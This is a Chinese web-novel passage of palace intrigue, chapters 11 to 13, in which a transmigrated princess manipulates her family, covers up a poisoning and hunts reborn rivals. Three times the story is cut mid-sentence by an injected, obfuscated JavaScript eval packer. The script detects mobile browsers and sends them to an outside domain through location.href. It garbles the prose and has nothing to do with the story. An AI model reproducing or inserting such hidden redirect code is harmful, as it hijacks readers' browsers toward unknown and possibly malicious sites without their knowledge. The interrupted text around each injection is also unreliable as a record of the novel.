“嘶,我适才看小报上写,是从静闲茶楼传出的燕家退婚消息——难怪那店要给兵马司查封了,我还寻思,茶楼掌柜不也是千面客的受害者,居然要入狱?” “难道燕家嫡孙当时去茶楼,是为了查探这事?不然为何要假扮平民,去个下里巴人的地方喝茶?” 路过夜市的裁缝王氏,自然将文人们的风言风语尽数听了进去,不由得咽一口唾沫,捧着大包裹的双手微微生了薄汗,赶忙往自个衣服上蹭干。 王氏很紧张。因为燕太傅不满孙儿婚约的逸闻,就是他在静闲茶楼里说与人听的。 燕家,不会查到他头上了吧?不会要报复他吧? 王氏在精神恍惚间,不慎撞到了个乞丐小儿。 “仔细你的腿!弄脏了送给贵人的东西,打折你多少双手脚都不足赔!”王氏护好怀中的锦绣香云纱成衣,恶狠狠警告毛头小孩。 乞丐小孩吓得大哭逃跑,转眼消失于长街尽头。 王氏出完气,对燕家的恐惧倒没之前严重,怀揣着侥幸心理,来到位于御街的燕氏大宅。 预定交货日期就是今日,管家特意让王氏从侧边角门进出,避开正门前的闹剧。 从燕宅顺利交付出来,王氏舒坦地长出一口气。幸好幸好,差点信了那些个穷酸儒生的鬼话。 下一瞬,忽来一大群气势汹汹的护院家丁,自燕宅冲出,把王氏五花大绑架了回去。 “胆敢用衣料子□□针!谁指使你谋害太傅?说,是不是林党买通了你?!” 管家摊开刚刚交付的新衣,衣料内赫然竖立着一根锋锐的银针。 “小的冤枉!冤枉啊!”王氏后悔不已,涕泗横流。他很确定反复检查过成衣,不可能留有针头,必然是燕太傅发现他外扬家事,蓄意报复! 管家一声令下:“报官!” 与此同时,行人渐稀的长街尽头,一个小乞丐闪身蹿进无人小巷。 宋立娘换下身上破烂的旧衣,藏入苔藓遍布的大石块后,再穿回出宫时的宫女服,理好蓬松乱发,利落地挽了个发髻。 樊明漱时常需派人出宫传送账簿与契约,故而瑞昭宫的宫人可自由凭令出入宫闱。 宋立娘用引梦香令宫侍沉睡,偷来了宫女服与宫禁令牌,并借口脸部过敏,带上面纱遮挡容貌,蒙混出宫。 若是日后宫门守卫追究起来发现端倪,也没有关系。不过是八公主生性调皮,偷跑去玩罢了。 宋立娘取出用剩的银针,嗤然一笑,把银针随意抛下。 银针落于常年阴湿的地表,霎时如坠深海,再寻不见踪迹。 林党大肆动作,料想燕氏此时一定杯弓蛇影,会怀疑王裁缝是林党的人,把他下狱、严加审讯。 等下宋立娘要继续去找报童,向民间小报卖消息,让小报将燕家疑似报复茶楼与裁缝的消息大加渲染。林党自然会闻讯而来,抓住燕家的把柄进行弹劾。 待到燕家顶不住压力之时,便是茶楼众人获救之机。 宋立娘走出巷口,远望燕宅角门处两个往官府衙门方向奔去的小厮,眼神一凛,转身隐没于市井。 几日后。 城南兵马司衙门正对宝安寺,门前人流如织,老少香客摩肩接踵,各色小食饮子的叫卖声不止,买香的人甚至排到了寺庙外,府衙官兵出巡时常不耐地撞开队伍。 宋立娘也是被撞倒的其中一名香客。 她同其她人一起灰头土脸地爬起身,敢怒不敢言的样子,拥挤在人群里,平凡普通,毫不显眼。 今日是人皮面具所能支撑的最后一天,宋立娘偷溜出宫来,扮作普通百姓,反复路过兵马司衙门好几趟,都未见衙门有放人的动静。 分明听闻林党已经强力弹劾燕氏的“报复”行径,为何还迟迟不放人? 莫非燕家觉察到了掌柜等人的户籍有假? 日照金山,大雁晚归,焚烧的香寸寸化灰。长队龟速地一点点朝前移动,最后真的轮到了宋立娘。 “姑娘,要多少香?” 宫禁时间将至,现在应该尽快回宫,宋立娘需回去细细谋划,另寻对策。 可若想保下违律经商的贱籍者性命,根本是痴人说梦。 难道在这场战局中,她注定弃子求存? “三文钱,三支香。” 宋立娘接过三支线香,挪步至空地中央的四足青铜祥云纹万年宝鼎。鼎内林立各式线香,云烟缭绕,是多少苦命人剖来的卑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599307|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微诚心。 她点燃了手中香,却不对大殿金佛而拜,只将目光留给火烧般的赤红天幕。 宋立娘不信神佛,但求自己。 有些人和事,她不愿放弃,她要自己争下去。 “官爷!我们离了京城何处谋生啊!” 宋立娘惊醒般回首看去。 衙门门口,行出一票奇怪的家伙,二十三个女娘,个个蓬头垢面、倦容难掩,眼底结块的墨青红肿尤为吓人,恐怕在牢里熬过很多个审讯逼供的不眠夜。 为首的掌柜还在和官兵哭诉苦楚。 官兵不悦道:“放你们回祖籍去,便不错了!如不是静闲茶楼自检不力,怎么会让千面客混进来?快点收拾好细软,即刻出城!” 一同被放出来的裁缝王氏,也叫苦不迭:“我、我祖屋都卖了,回了祖籍,哪来片瓦容身?” 看来,燕家确实招架不住压力,放了裁缝与静闲茶楼的人,可出于谨慎考虑,还是下令将她们全部逐出京城。 宋立娘不由得喉头发紧。 失去了静闲茶楼,就等于失去她苦心经营五年的民间势力,缺少商业营收和情报收集的两大助力,许多谋策都会变得困难。 遑论在这个车马不便的年代,怎么能再和离开京城的人重新联络?连祖籍地址都是假的,又能向何处托付锦书? 衙门前,官兵暴躁推搡起这些人,押着她们回城中住处去清点行囊。 恰有一香客自对面寺庙中走出,和茶楼众人短暂地视线交汇,双方随即背道而驰。 宋立娘一头扎进街头的陌生人潮。从此往后,偌大京城,会喊她立娘而非丽娘的人,就变得寥寥无几。 人声熙攘,可宋立娘仍旧清楚分辨出了,那一道从身后传来的、掌柜刻意伪装出的,平平无奇的声线。 掌柜像在若无其事地安慰伙计:“罢了罢了,回祖籍也好,大不了从头再来嘛。” 宋立娘只听她说—— “莫愁前路无知己,天下谁人……不识君!” 宝安寺焚香的烟雾好似喜欢追着人跑,宋立娘感觉视野有些模糊,抬手一擦,才知是被熏出了一滴泪水。 这是源自她那个世界的诗句,她与掌柜提起过,那家伙现在还记得。 莫愁前路无知己,天下谁人不识君。 以后她要让全天下都知道,她真正的名字,叫作宋立娘。 …… 见喜商号的杨掌柜于今日入宫面圣。 杨圣才自南门入宫,宫门缝隙中的黑垢是洗不净的血,裹挟住一月前那个雪夜的血腥气,沉浮于鼻息之间,令每个过路人都为之胆寒。 长明二年,冬。南楚撤兵后,国内叛军又起,新帝将计就计、清洗叛党,真正坐稳帝位。 这样一位杀伐果断的新帝,很少有人料到,她坐稳帝位后的第一个命令,只是改名。 她给自己改了个名,从宋丽娘变为了宋立娘。 杨圣才好巧不巧,是对改名一事预先知情的少数人之一。 在文德殿前,杨圣才整理好衣冠,确认一身窄袖劲装得体又舒适,放心踏入殿内。 新帝背对着她,负手而立,长发颜色似冰封不化的高山雪顶,又如雷霆盛怒的闪电寒光。 少白头。 杨圣才思忖,是有多少人世间的愁,才能愁出帝王白首? 11. 调查 新帝察觉来客,回身走来:“十三娘。” 杨圣才明白这家伙向来不屑礼数,干脆没行礼,单刀直入地往翘头案上,拍出几本厚重书册。 她指着书册一一介绍:“这本是见喜商号的今年营收,其她的是往后做皇商的打算,就你说的什么……资格申请书、商业策划案、国际合作流程和标准制定,唉呀什么乱七八糟的!” 久经征战的北羽千疮百孔,举国凋敝。宋立娘决定借用现代模式,颁布新政,从此封闭猖馆、废去贱籍,释放更多劳动力进入百废待兴的实体业。通过放宽市场准入主体、激励工匠技术创新、增加与西域及海外诸国的国际贸易等,多措并举,进一步活跃商业经济。 宋立娘手下的见喜商号,自然是新政施行的重要一环。 宋立娘毫不理会杨十三的抱怨,快速翻阅书册资料:“待新政推行后,我为你重新翻案,你脸上的面具就可以不必带了。” 杨圣才环抱双臂:“陛下啊,怎么你好像有人情味,好像又没有的?” 指掌翻飞,宋立娘拨弄书页的速度并未减慢,对于杨十三的调侃,连个眼神也懒得分出去。 一阵窸窸窣窣的异动从外渗入,杨圣才凑近薄纱雕花窗,极目张望:“嚯!贤妃弄啥呢?” 宋立娘依然埋头书案,毫无波澜。 殿外喧哗声刮耳,如本应呵护珍藏的琉璃盏破碎四溅。 “不要拦住本宫!本宫是太妃!” “小囡!小囡!丽娘啊!你想做不孝子孙吗!你这是要把我们所有人都往千古罪人上引啊!” “外头传言是不是真的!你说!先帝的死同你有没有关系!先帝他到底怎么死的!” 御前侍卫们始终不肯让步,樊明漱的情绪渐渐失控,不管不顾地坐地悲哭,通身珠翠都歪斜散落,保养得当的黑发顷刻糟乱。 与之相反的是,殿内死寂无话。 杨圣才脸上表情见鬼一般,万千吐槽憋在嘴边,还是有所顾忌地没开口。 一个冷然声音跃出,率先打破了尴尬气氛。 “樊明漱明明上个月才知道,与恒润商号同台竞争的见喜商号其实是我主事,可她不在意;我多年来帮助打理恒润商号,以此窥探生意机密,击溃润发商号,她也没有生气。”宋立娘轻飘飘说,“我真实的背叛无足轻重,可我杀了先帝的虚无传闻,倒能让她怨念深重。” 宋立娘合上书册,神色淡淡:“比起女儿,樊明漱更爱她的丈夫。” 殿门霍然大开,樊明漱瞬时激动地前扑,亏得御前侍卫眼疾手快,合力把她拦下。 樊明漱犹不死心,两只手臂拼命扑腾,徒劳地想抓住什么。 宋立娘一脸漠然,只对侍卫们吩咐:“太妃病了,朕将为母妃新修皇宫佛堂,往后,母妃就住进佛堂安享晚年吧。” 御前侍卫点头领命,两人一起将樊明漱带下去。佛堂未能修缮完成前,太妃都会禁足瑞昭宫中,严加看顾,再不能外出。 “眼下正值新政改革的多事之秋,贤妃是被利用了。”杨圣才也走出殿外,望天兴叹,“谏言新帝不孝的折子,明日可要满京城飞咯!” “立即请乔芷善入宫,陪太妃同住。”宋立娘冷静道,“乔芷善也有丈夫,她为了丈夫和男儿的前途性命,定然能帮朕,好好规劝太妃娘娘。” 母女猜忌,姐妹利用。 杨圣才摇摇头,不愧是孤家寡人呐,过的什么日子嘛? …… “所以,你是因为燕家的风波,担心燕袖,自个偷跑出宫,结果找去新宅子,才发现燕袖搬回了燕氏大宅养伤,最后人也没见到,宫禁也差点延误,被母妃现场抓包?” 七公主宋苏晚发出惊奇的感叹,手指头捏住对方的脸颊,拉出一张青蛙脸。 “世上怎地有你个痴儿!噫!小八你真是个小呆子!不不不,小呆子显得你好可爱一般,我要喊你作大蠢货!” 宋立娘被抓住偷跑出宫后,樊明漱勒令她禁足瑞昭宫,加派宫侍轮番看顾,七公主闻讯而来,看望可怜的八妹妹。 “哎,你怎地生了白发?”宋苏晚放过了自家妹妹的脸蛋,转而拈出藏匿在青丝之间的一线雪色。 宋立娘面上仍旧无精打采,懒得应声说话,直接扯断了这根白发,脱离七皇姐的魔爪。 宋苏晚见状,将一盘精致的桃酥递来:“喏,好吃得紧。” 宋立娘推远了桃酥,继续百无聊赖地摆弄九连环。 宋苏晚只当妹妹是为燕袖烦心,心火顿起:“哼,燕家那厮不是想解除婚约么,就解除好了呀,待老娘我网罗天下三千美男,分两个……啊不,分五个面首给你!” 提及燕袖,宋立娘默默忖度,燕氏与林党的朝廷党争正激烈,燕家族亲尚在等待问责,且燕袖的伤势还需静养,这个麻烦的重生者应该能消停一段时日了。 压下杂念,宋立娘瞟无法无天的七公主一眼,道:“七姐姐还敢寻面首呢?上回群臣弹劾,父皇可发了好大的火。” “一帮老腐儒!大皇姐的驸马想纳妾都广受支持,还不准本宫养几个小侍。” 宋苏晚语气骄蛮,不顾礼数地大咧咧瘫在春凳上,边嚼桃酥边说话,毫不在乎口喷碎末会有损形象。 “本宫又不像狗驸马流恋床笫,不过让美人唱小曲跳胡舞,哄我开心一下,这也能叫本公主背口重欲的大锅,可恨!” 两名公主各坐于左右两侧,有一搭没一搭地闲谈攀扯,中间是洞开的冰裂纹松木窗,清风送爽,攒动的新绿映衬湛蓝苍穹,窗景如画。 蓦然一道暗影遮蔽门前天光,是樊明漱从皇后的凤仪宫请安回来:“小囡,先前的案子有眉目了。” 樊明漱入得殿中,打眼细瞧,才发现另一个公主的存在:“哦?苏晚是看丽娘来了?” 宋苏晚给贤妃请安行礼完,就迫切发问:“母妃说的是什么案子?” 樊明漱四下打量,命人关闭殿门,显然事关重大。而殿内服侍的八名宫女均是她多年培养的心腹,无需屏退。 樊明漱看向宋立娘:“之前担心走漏风声,我严禁声张此事,不过如今调查过半,告诉苏晚也无碍。” 于是宋立娘放下九连环,面如愁云惨淡,无奈道:“不知道是谁,往我吃的糖渍杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599308|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅下砒霜。” 宋苏晚反应了一下,猛地张大嘴巴:“哪只臭鳖孙敢暗算公主!” 真凶宋立娘纵然被骂,也毫不动容,仍作无辜的受害者模样,眼巴巴望向娘亲,求知结果。 樊明漱把后续发展娓娓道来。 圣上派皇城司秘密彻查此案,皇城司侦缉房对春杏阁全面排查,在尚未送还的冰鉴内也检出了砒霜之毒。 这自然是宋立娘为引导调查走向,提前给冰鉴涂抹的砒霜。 此后,侦缉房又彻底盘查尚食监和春杏阁中所有可能接触冰鉴的宫侍,以及可疑的外来入宫之人,通过审讯、侦查,详细了解杨梅从装盒、传送到存放的全部细节。 原来那一盒冰鲜杨梅,本该在午时由其她人运送,可当日司膳太监胡耀神秘外出,以纸条留言,让徒弟小李子专送几位皇子公主的冰食。 过去胡耀便常让小李子揽些轻松活,因夏日炎热,侍从送冰食给主子时偶尔能得赏钱,是以尚食监众人也不觉奇怪。 小李子的本职是传膳,故而午膳过后他方抽身出来送冰食。 樊明漱道:“司膳是掌控有冰库钥匙的,皇城司那边觉得,必定是胡耀贬职以后,对圣上不满,趁着尚食监宫人忙于午膳筹备,无暇他顾,私自进了冰库下毒,想毒死公主作为报复。这胡耀失踪,也是怕罪行暴露,不知用什么法子逃跑出宫了。” 果然是推到了失踪的胡耀头上,宋立娘不意外。 这是皇城司在不知道冰鉴告密诗的前提下,得出的推论。 但是,如果从告密诗知情者的角度去看,就是另一番景象—— 胡耀乃当年前往南城、寻回公主的人,他知道公主偷龙换凤的秘密,于是安排徒弟告密,并希图用毒药击败假公主。而胡耀的失踪,极可能是被杀人灭口。 宋立娘都要赞叹,冰鉴告密的幕后做局者,可真是心思缜密,用计阴险。 想必那始作俑者重生后,得知胡耀即将失踪,顺势利用胡耀背锅,毕竟失踪的人无法为自己脱罪。而且,若告密者是接公主回宫的太监,也让告密信息显得十分可信。 幸而,宋立娘上次说服稳婆改口,顺利通过滴血验亲,打消了皇帝疑虑。 在杨梅下毒事发之后,她也同皇帝说明,尚食监的胡耀多次以当年恩情私下要挟,要求八公主送去幼童,宋立娘谎称自己当时太害怕,不敢告诉任何人。 半真半假的供述,加上确有宫人目睹胡耀抱怨八公主忘恩负义,皇帝相信了宋立娘的话,要不是胡耀失踪,早把他千刀万剐。 宋立娘能料想,得知皇城司调查结果后的皇帝,应当也不会怀疑到她的头上,而是认为胡耀威胁八公主不成,狗急跳墙,企图与八公主同归于尽。 宋立娘提出质疑:“不对劲,既然那天没人见过胡耀,如何确定是他下毒?” 宋苏晚受到了启发,也说得头头是道:“是啊是啊,万一有谁故意推罪给胡耀,再暗杀了胡耀呢?” 樊明漱瞧着两个小大人,不由一笑:“巧了,方才啊,皇后娘娘也觉得此事有疑,同本宫说想再行一计,找出真凶。” 12. 疑窦 骄阳的炙烤,晒化了日间喧嚣,徒留蝉声衬幽。在尚食监的后院,陶土缸连带储水都烫如火烧,地上石砖经年生缝,缝里的青苔蔫黄蔫黄。 后院游廊中,有七十余名穿着贫富不一的老少女男,皆是与尚食监有货品往来的宫外之人。 她们或立、或坐、或来回踱步,热浪仿佛焦灼了每个人的呼吸吐气。 偶有耐不住性子的人窃窃私语。 “到底咋的了?早早寻我等审查过一轮,眼下又召我等入宫,出什么事儿也不说,搞得我呀,端的是心慌!” “我拿银子跟尚食监的宫人打听了一嘴,好像是宫里头给贵人的贡品出了岔子!” “啊?牵扯上贵人,岂非要没命!” 游廊拐角处渐次响起履声,在场众人纷纷肃静。 皇城司的男勾当官携侍从行来,站立台阶之上,以审慎的目光扫视完所有在场者,高声宣布:“尚食监贡品有误,皇城司已找到新证据——贼人手指沾上杨梅汁水,冰鉴里垫的白布上落了枚手印!不巧,懂得手纹查验的刑部仵作正在外出勘验,过午方能入宫,诸位要在此处等一等了。” 勾当官继续狠厉地补充:“当然,圣上说了,希望贼寇自行承认,尚能开恩从轻处置,否则……等到结果水落石出,必定严惩不贷!” 闻言,廊下众人面面相觑,惶恐不语。 人群掩映之中,一位锦衣玉带的富贵男郎忍不住呼吸错乱,攥紧了怀中深藏的锦囊…… “等待之时,刻意磨损指腹去毁坏手纹的人,就是凶手。” 凤仪宫中,皇后燕兰英笃定地撂下这句推断,统领六宫的多年阅历,令她料理起这种腌臜阴谋极其熟手。随后,她就回了侧殿,继续审查宫中的内库收支。 主殿内,樊明漱还在耐着性子煮茶、调香,以此消磨等待时的心慌。 宋立娘谨记自己作为年岁尚小的公主,不可能习得久经沧桑的稳重气度,只好刻意走来又走去,手上不停抠弄指甲。 “抓、抓到贼人了!”皇城司总算是来人通报,“是尚食监的小李子!” 宋立娘的指甲差点嵌入甲肉。 小李子?怎么会是小李子? 等凤仪宫一行人赶赴尚食监时,小李子已气绝身亡。 宋立娘默默观察倒地的尸体,只见脸部苍白,瞳孔涣散,口唇青紫,有明显的红色尸斑,像是心脏骤停的猝死症状。 “好了小囡,此处实在晦气,你且快回去。”樊明漱掩住口鼻,对身边人催促道。 宋立娘咽了口唾沫,躲到娘亲身后,依然强撑着说:“娘,我不回!我要弄清楚小李子为何要害我,我要一个真相!” “贤妃,让她看看也未尝不可。”燕兰英低声提醒,“燕家后宅的水同样不浅,哪怕贵为公主,也有孝悌祖制不可违,燕袖护不住她。” 这话说得悲切,樊明漱歇了护崽的拳拳之心,转头叮嘱宋立娘站出前面来,好好学着母后的手段。 宋立娘依言应好,乖乖旁观事态。 勾当官的面色都吓白了,向燕兰英回禀道:“皇后娘娘,贼人在认罪的时候,突然当场暴毙,仵作已验尸完毕,乃是贼人极度紧张激动,意外猝死。卑臣办事不力,未能及时阻止贼人之死,还请娘娘责罚!” “他死前认罪了?”燕兰英问。 “是!在场所有人均可作证。”勾当官一指跪在旁边的尚食监宫女,“还有膳工发现了小李子企图磨灭手纹。” 被点到的灶头膳工董乐君,当即恭敬回话,详细阐释事情经过:“启禀皇后娘娘、贤妃娘娘、公主殿下!当时仆就在小李子身边,竟瞧见小李子私自凑近端着热油的杂工,恐怕是想撞翻油锅,同时烫伤周围人的手,也破坏掉自个的手纹,好阻碍圣上的调查! 仆只好问‘小李子你去哪呀’?赵勾当很快察觉不对劲,派人抓住了小李子,逼小李子摁手印。 小李子不打自招,大喊‘仆认罪,仆并非有意坑害八公主,求圣上网开一面’!接着,就见小李子哭得上气不接下气,突发恶疾死了。” 乍一听,事态发展似乎没什么破绽。可宋立娘总觉得,小李子的认罪和死亡都太过顺利。 燕兰英顺口称赞这个临危不惧的膳工:“有眼力。” “谢娘娘谬赞!”董乐君叩首谢恩。 宋立娘也不由得多看这个膳工两眼。 之后,勾当官差人全面搜查小李子的房间,更多罪证浮现眼前。 小李子所用的习字帖子,乃是胡耀的书法旧作,是以,他若想模仿胡耀字迹、写下留言纸条,根本轻而易举。 宋立娘越看胡耀的笔迹,越觉熟悉,细细回想,原来是与冰鉴木条的告密诗笔迹相差无几。 小李子的作案条件,有了。 缉事番役们忙碌不息,宋立娘在房间内踱步,四处寻找有无新的线索。 忽而,宋立娘注意到罗汉床两侧的围子边缘,各雕了两个对称的榆木喜鹊鸟首。不过,一个鸟首光滑蹭亮,另一个却覆有薄灰。 “母后,娘亲,这有古怪!” 宋立娘冲两个娘娘挥手,然后试着扭动木雕鸟首,竟真的转动了一圈。 伴随鸟首的嘎吱作响,床板侧面霍然横出一个半尺宽的抽屉暗格! 宋立娘取出暗格里的一沓文书,转递给皇后。 燕兰英快速翻看完,语含愠怒:“好啊,小小传膳太监,胆敢盗窃冰库贡品出宫倒卖!更是与采购吏串通,给尚食监采购次等食材,以次充好,合谋吃回扣!” 樊明漱道:“胡耀乃是小李子的师父,如此大的事情,必然是胡耀才有胆子主谋。” 燕兰英听了,点派另一批缉事番役去办事:“再搜一次胡耀房间,重点查找是否有同样的暗格!” 在胡耀房中的罗汉床,果真存在一样的机关。而暗格中,不仅有冰库贡品的真假两套名单、宫外贡品的买卖名录、食材采购回扣的账簿等,甚至还有小李子伙同采购吏谎报买价、吃二次回扣的证据。 “胡耀发现小李子背叛他。”燕兰英揣测道,“若是小李子知道勾当被胡耀察觉,此事就说得通了。” 胡耀向来心狠手辣,绝不可能姑息叛徒。但在胡耀处理叛徒前,小李子在暗格里发现胡耀的企图,于是他先一步杀了胡耀,并掩藏尸体,伪造胡耀报复公主后逃亡的假象。 小李子的作案动机,也有了。 再加上小李子的主动认罪,此案完全可以就此盖棺定论。 问题是,只有真正杀.死胡耀的宋立娘知道,这个作案动机根本不可能成立。 宋立娘连忙快走几步,来到皇后跟前:“母后,丽娘有疑!小李子下手这么重,难道他就不怕公主薨逝,将会招致圣上大怒,给自己引火上身吗?” 勾当官接住话头,拱手禀告:“娘娘,殿下,以臣之见,应是这小李子蒙昧又自大,笃定皇城司查不到他的头上!若不是小李子干的,他哪能在被卑臣抓住时,清楚说出是八公主出事?” “这等恶贼有恃无恐,藐视皇家天威!”勾当官愤而斥骂,“委实是该死,该死!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599309|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋立娘冷眼静观他的表演。 皇城司这群朝廷鹰犬照样蒙昧自大,恐怕现在,勾当官正是为了撇清小李子的死,迫切想把罪名安到小李子头上。 但勾当官也说准了一点—— 明明皇城司只对外宣称,是给贵人的贡品出了岔子。小李子怎么能精准知道,受害者就是八公主? 宋立娘也想不明白,小李子为何在被抓后供认不讳?如果小李子不是真凶,就如何也解释不了这一点。 很显然,一直不语的燕兰英也在沉思当中,不多时,她道:“先继续调查小李子、胡耀,还有牵涉贡品偷盗的所有尚食监宫人。毒害公主一案需待本宫禀报皇上,最后由皇上定夺。” 宋立娘只得颔首:“是,母后。” 樊明漱走来行了个万福礼:“皇后娘娘,既告一段落,臣妾便先领丽娘回宫了。” 于是,燕兰英留下交代后续事宜,宋立娘和樊明漱则起身返回瑞昭宫。 临行前,宋立娘深深回望,视线一一穿过烧菜打水、左来右往的宫人们,定定停在某处不起眼的地方。 膳工董乐君仍伏在灶头边,精细地调整煨汤火候。然后,似心有灵犀般,董乐君也微微侧头,眼角余光扫来,唇边带起不明显的弧度。 小李子引起的,必然是皇城司对尚食监一连串的清洗动作。胡耀结交的人会一个一个被拔除,说不定也会顺带剔掉几个其她宫里的人脉。 在帝后之威下,尚食监最先崛起的,只能是中立者。 今日皇后夸赞过的宫女,就是很好的人选。 宋立娘安排在尚食监的眼线,又要升职了。 坐上回宫的金箔贴花绸缎轿子,宋立娘劳碌一整日的倦意上涌,太阳穴酸胀隐痛,她反复揉搓,还是止不住疼。 心力交瘁。 本以为能抓获告密诗的始作俑者,到头来,还是一重接一重的迷雾。 只怕这桩案子的结果,不会顺利。 …… 数日后。 暗沉的重云压迫天际,西风吹皱山外残阳。子规愁啼,伯劳苦泣,长年无人的冷宫之地尽显萧索无度。 宋立娘从冷宫的狗洞钻入,又从洞口探出手去,把竹编罩子与破烂瓦罐等杂物,一一扯回来,小心地遮挡严实洞口。 接头人早候在洞口附近,宋立娘冲她耳语:“皇城司找不出别的案子线索,万岁认定是小李子所为,不再调查此案了。你那边情况如何?” 董乐君回应:“皇城司抓了左监丞,掌膳和庖长各两人,以及七名采购吏、三名冰库管事,我被擢升为蒸煮司副掌膳,目前掌膳之位暂缺,我与掌膳的地位无异。” 这倒是不错,往后宋立娘在尚食监的势力便可进一步扩大。 只可惜,这回还是没抓到想置她于死地的重生之人。 小李子的死,实在太合时宜,巧得天衣无缝,很难说不是谁有意为之的结果。 “据你观察,在小李子死亡当天,可有哪个人举止异常?或者,有谁过于接近小李子的?”宋立娘问。 董乐君陷入回忆:“小李子死前一个时辰吧,有个富家子弟闹着肚子疼,番役押他去蹲茅厕,去茅厕的路就恰好途径小李子身边……额,我想一想,番役唤他作……” 又冥思苦想一阵,董乐君终于记起,竖出一根手指:“霍家小郎!” 宋立娘掏出那一日皇城司所列的可疑者名单,对照寻人,在名单的第二页就赫然记载—— 霍冠,年十五,皇商霍氏幼子,素有纨绔名。 13. 兄长 “宋衫……宋衫……” 不知谁的呼唤,笼在混沌中,辨不分明,听不真切。 宋衫从梦魇里惊醒,此时夜深人静,堂下流光冷清,照透了满室银霜。他发觉只是又做了前世的噩梦,紧绷的心神稍有放松,起身前去窗边木案,想倒杯茶解乏。 乍一迈出步子,宋衫又忽觉古怪。因为窗边并无桌案,屋内格局也大有变化。 寝殿略显促狭,没有精致的家具摆件,也没有值夜的宫侍太监。 这不是东宫,是冷宫! 夜色中,再次传来声声低语,正是方才梦中所闻。 “宋衫。” 十六岁模样的少年太子,自黑暗处现身,衣着打扮与当时初遇八公主那日别无二致,着月白地织金云纹锦外袍,脑后束素缎缀玉珠发带。 宋衫注视着眼前的另一个自己,生生听他道出最惧怕承认的秘密:“莫非,你得知和八妹没有血缘后,生出了不该有的心思?” “宋衫,你要脸吗!” 莫大的心痛袭来,宋衫再次猛地睁眼,发现依然躺在床榻上。 原来先前一切,只是没醒来的噩梦。 夜已深,轻纱床帐围成不为人知的一方禁地,异香丝丝缕缕潜入,惹人心烦意乱。暗影曈曈间,月光清凉,而游走于周身的指尖触感温良。 宋衫定睛细看,这个莫名出现在他床边的人,有一双分为明亮的眼眸,其中揉碎了月影阑珊。 她的指尖继续往下探去,而吐出的语调冷过三更露寒:“你也听说了,入朕后宫的男子需绝子断欲,你可愿意?” “我愿……” 未等他答完话,那人已然扼住宋衫的咽喉。 宋衫开始窒息,莫大的痛苦涨满全身,死亡的阴影当头压下,把他裹得动弹不能。 随即,他就好似沉入深潭般失去意识…… 醒来的第一刻,宋衫还是望进了同一双眉眼。 那人的眸色明亮,但也漠然。 同样的,她正将一只手搭在宋衫脖颈前,随时都能将人无声无息地掐死。 宋衫下意识地慌张后退了半尺。 宋立娘迅速收回手,恢复往日天真模样,耷拉下眉眼,鼓起嘴,语含委屈:“丽娘想为你掖好领子而已,怕你梦中着凉,我又没坏心,为何四哥哥要避我如蛇蝎?” 现在,二人正在去往翠微山行宫的车辇之中。近来气候愈发燥热,皇帝决定搬往行宫避暑,一干皇嗣与皇后妃嫔同行。 行车途中,宋立娘想伺机试探太子是否重生,于是提出想探望四哥哥,跑下自己的轿子,前去太子的九旒青盖金辂车。 进了车内,才发现宋衫正在小憩。 机会难得,宋立娘用借口把小顺子和修竹支开,打算悄悄查看宋衫的后背,确认有无“续前尘”法阵图。 不料宋衫蓦然惊醒,计划也就此泡汤。 面对八公主的抱怨,宋衫暗咽唾沫,喉头滚动,强装镇定道:“我……我并无此意……” 宋立娘直接打断:“可是,自从上次一叙,我再请四哥哥来瑞昭宫陪我解闷,你都推三阻四的。好不容易,等到娘亲解了我的禁足,我来东宫寻四哥哥,你也次次有理由避开,不是睡下了,便是要去上书房。今日还是四哥哥睡熟了,我方可与你共乘一车。” 说着,她无力地呼出一口气:“再这样,丽娘会很难过的,四哥哥。” 但她的四哥哥并没回应。 宋立娘默默观望对方的表现,宋衫的面容黯淡,眉心千结,似乎隐有哀伤。 纷乱的回忆在宋衫心内掠过。 前世,他作为废太子被囚于冷宫时,曾有太子党旧臣秘密入宫,告诉了他一个石破天惊的消息——当今帝王,不是真正的皇嗣。 当年为贤妃接生的稳婆,已搬家至京郊白石巷。旧臣们找到了稳婆,据她所言,贤妃生下的是男孩,绝不可能是一位小公主。 “你与那暴君,根本就不是亲兄妹!太子啊,何必再顾念手足之情?那人胆敢偷龙换凤,谋害先帝,又将你囚禁深宫,如此恶徒怎么会有真情?快随臣出宫,统领旧部亲兵,推翻暴君!” 推开冷宫殿门的一刹那,旧臣倏然僵直了身子,胸口处有疯长的血花盛放。 旧臣尸体倒下后,凶手的真身显露眼前。 森然的剑光,照亮宋立娘染血的面庞,而在她身后,是雨夜中一院子的死.尸。血雨漫溢,雨声将每个人临死的挣扎哭声全数淹没。 宋衫明白了,在新帝的铁腕治理之下,不会有人可以钻空子,入宫带走废太子。 若有,也必然是帝王有意为之。 